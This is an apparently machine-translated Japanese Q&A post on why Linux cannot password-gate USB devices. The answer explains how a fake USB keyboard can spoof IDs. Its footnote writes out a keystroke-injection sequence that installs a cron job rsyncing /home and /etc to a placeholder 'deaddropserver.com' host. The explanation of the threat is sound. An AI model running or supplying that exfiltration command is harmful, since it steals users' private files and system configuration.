ドライブ、スマートフォン、プリンタなど、すべてのデバイスをUSBに接続するときは、システムがこの接続を承認するためにパスワードを要求し、デバイスがUSBに接続して入力した後にのみ正しく動作するようにする必要があります。パスワードパスワード。どうすればいいですか?
ベストアンサー1
現在のUSBの仕組みではこれを許可していないようです。 (これらのいくつかは、LinuxでUSBが動作する方法によるものです。)
- USBデバイスを接続すると、ハードウェアはそれを検出します(そうしないと、新しいUSBハードウェアがあることをコンピュータに知らせることができず、バスを実行し続けるために必要です)。
- オペレーティングシステムの内部には、どのUSBデバイスがあるかを格納するデータ構造があります。 「バスアドレス03:01に未知の種類の新しいデバイスがあります」などの新しいエントリを作成する必要があります。
- これがどのタイプのデバイスかを判断するには、デバイスに次のように質問する必要があります。あなたは誰ですか?
- デバイスはベンダーIDと製品IDで応答します。これらは自由に作り出すことができる2つの数字だけです。もちろん、「良い」USBデバイスは、そのデバイスを正しく表すIDを送信するように選択します。 USBにはこれを検証できるメカニズムはまったく存在しません。
- さらに、デバイスはその内容の説明を含む文字列を送信します。同じ取引:毎回同じコンテンツを送信するように強制されるのではなく、デバイスを自由に選択できます。
したがって、私たちが最初に気付く必要があるのは、悪意のあるデバイスから保護したい場合はこれが問題になるということです。単に5ユーロのマイクロコントローラ開発ボードを持ってきて、「こんにちは、私はキーボードプレーヤーです」と言うようにプログラムし、プログラマーのキーボードタイプを持って会社のオフィスに入るときに案内デスクで確認することができます。 '、あなたのLinuxはこれを信頼しなければなりません。なぜ?本物と偽を区別する方法がなく、会社のキーボードをホワイトリストに登録する必要があります。そうしないとログインできません。
ただし、キーボードをホワイトリストに追加すると、確認せずにすぐに自分のデバイスを受け入れます。私の偽のキーボードは、1秒以内にユーザーのすべてのファイルを中央サーバーにアップロードしたり、ユーザーが削除できるものをすべて削除したり、キーロガーをインストールします。
ところで、状況はさらに悪化します。 USBデバイスを接続し、カーネルがそのデバイスをすでにドライバがロードされているデバイス(別のペンドライブなど)として認識すると、ドライバはユーザに土地について知らせずにデバイスに接続できます。 。ユーザースペースに誰も通知しない場合は、確認ダイアログボックスを表示する方法はありません。
ただし、悪意のあるユーザーから保護したい場合、このソリューションはとにかく役に立ちません。彼らは実際に接続してはいけないUSBデバイスを接続するためにパスワードを入力したことを知っているかどうか気にしないか、Fake Keyboard、Legitimate Printer、およびIn-Cableで説明したのと同じトリックを使用しています。同僚とUSBハブ。同僚がプリンタを開き、Brotherプリンタと主張するデバイスのパスワードを入力しますが、実際には悪意があり、なぜパスワードを2回(実際のプリンタの場合は2番目)に入力するのか疑問に思い、盗まれたことに気づいていません。
1ほとんどのPCにはキーボードとして機能するデバイスがあるため、キーボードをお勧めします。ヘッドセットの音量ボタンであっても端末であれば、必要なボタンを押すことをシミュレートすることができます(...win terminalenterAlt+F2xtermenterAlt+F2xfce-te確かになるまで)少なくとも端末ウィンドウを開く必要があります。echo⏘'0⏘*⏘*⏘*⏘1-5⏘rsync⏘/home⏘/etc/⏘rsync://deaddropserver.com/evil'⏘|⏘crontab⏘-を閉じて、少なくとも1つの端末ウィンドウが開いていることを確認します(Ctrl+DAlt+F4Alt+F4Alt+F4Alt+F4...)